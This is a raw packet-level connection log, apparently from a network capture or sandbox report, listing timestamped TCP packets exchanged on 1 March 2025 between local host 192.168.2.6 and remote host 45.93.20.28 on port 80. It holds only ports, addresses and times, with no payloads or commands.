Mar 1, 2025 16:02:22.921289921 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921304941 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921308041 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921333075 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921402931 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921416998 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921439886 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921464920 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921554089 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921566010 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921576977 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921590090 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921591997 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921605110 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921607971 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921627998 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921650887 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921700001 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921711922 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921722889 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921736956 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921757936 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921844006 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921881914 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922137022 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922149897 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922161102 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922185898 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922209024 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922310114 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922322989 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922334909 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922359943 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922384024 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922482967 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922494888 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922507048 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922518969 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922521114 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922538996 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922552109 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922646046 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922658920 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922668934 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922681093 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922683001 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922694921 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922708988 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.922713995 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922736883 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.922760010 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.923269987 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923283100 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923293114 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923305035 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923320055 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.923322916 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923336029 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923346996 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.923350096 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923362017 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.923389912 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.923420906 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923433065 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923444033 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923460007 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.923460960 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923480034 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.923504114 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.923576117 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923618078 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.923727989 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.923763990 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.927056074 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927067041 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927083015 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927089930 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927103043 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927129984 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.927158117 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.927238941 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927251101 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927262068 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927278996 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.927306890 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.927401066 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927413940 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927424908 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927438021 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927445889 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.927465916 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.927505016 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.927555084 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927567959 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927577972 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.927592993 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.927613020 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.974584103 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.974673986 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.974725962 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.974737883 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.974749088 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.974760056 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.974771976 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.974772930 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.974786997 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.974800110 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.974838972 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.974877119 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.974889994 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.974914074 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.974947929 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975030899 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975044012 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975054979 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975065947 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975076914 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975091934 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975146055 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975220919 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975231886 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975244045 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975265026 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975277901 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975392103 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975403070 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975414038 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975425959 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975435019 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975440025 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975452900 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975466013 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975493908 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975719929 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975732088 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975743055 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975754023 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975768089 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975771904 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975790024 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975810051 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975878954 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975894928 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975905895 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.975927114 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.975944042 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976048946 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976062059 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976073027 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976084948 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976090908 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976136923 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976216078 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976227045 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976237059 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976248980 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976259947 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976260900 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976272106 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976284027 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976285934 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976295948 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976313114 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976314068 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976345062 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976353884 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976521015 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976563931 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976721048 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976733923 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976783991 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976876020 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976887941 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976898909 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976912975 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.976927042 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976941109 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.976968050 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011104107 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011131048 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011142969 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011280060 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011291981 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011298895 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011300087 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011303902 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011323929 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011329889 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011338949 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011348963 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011356115 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011368990 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011384010 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011404991 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011414051 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011451006 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011506081 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011518002 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011529922 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011543036 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011544943 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011564016 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011586905 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011676073 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011687040 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011698008 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011709929 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011713982 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011732101 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011755943 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011912107 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011924028 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011934996 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011946917 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011948109 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011959076 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011965990 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011972904 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011984110 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.011985064 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.011997938 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012010098 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012015104 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012034893 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012051105 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012111902 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012149096 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012154102 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012166977 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012187958 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012203932 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012345076 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012356997 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012367010 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012377977 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012382030 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012389898 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012401104 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012428999 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012459040 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012470961 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012486935 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012499094 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012517929 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012558937 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012597084 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012609005 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012626886 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012634039 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012639046 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012650967 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012654066 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012662888 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012670994 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012675047 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012686968 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012698889 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012698889 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012733936 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012742996 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012851954 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012890100 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012890100 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.012924910 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.012989998 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013031960 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.013037920 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013051033 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013072014 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.013088942 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.013168097 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013180971 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013191938 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013204098 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.013204098 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013217926 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013231039 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013237000 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.013242960 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013245106 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.013257027 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013273954 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.013289928 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.013442993 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013456106 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.013480902 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.013501883 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.064996004 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065007925 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065021038 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065078974 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065090895 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065103054 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065155029 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065190077 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065222979 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065243006 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065243006 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065243006 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065263033 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065294027 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065304995 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065310955 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065329075 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065357924 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065360069 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065397978 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065417051 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065432072 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065458059 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065475941 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065546989 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065560102 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065572023 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065584898 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065586090 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065603971 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065629959 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065681934 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065694094 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065705061 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065721035 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065741062 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065789938 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065802097 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065814972 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065830946 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065859079 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.065977097 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.065989017 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066000938 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066014051 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066020012 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066049099 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066075087 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:23.066163063 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066174984 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066188097 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066199064 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:23.066210985 CET	80	49710	45.93.20.28	192.168.2.6
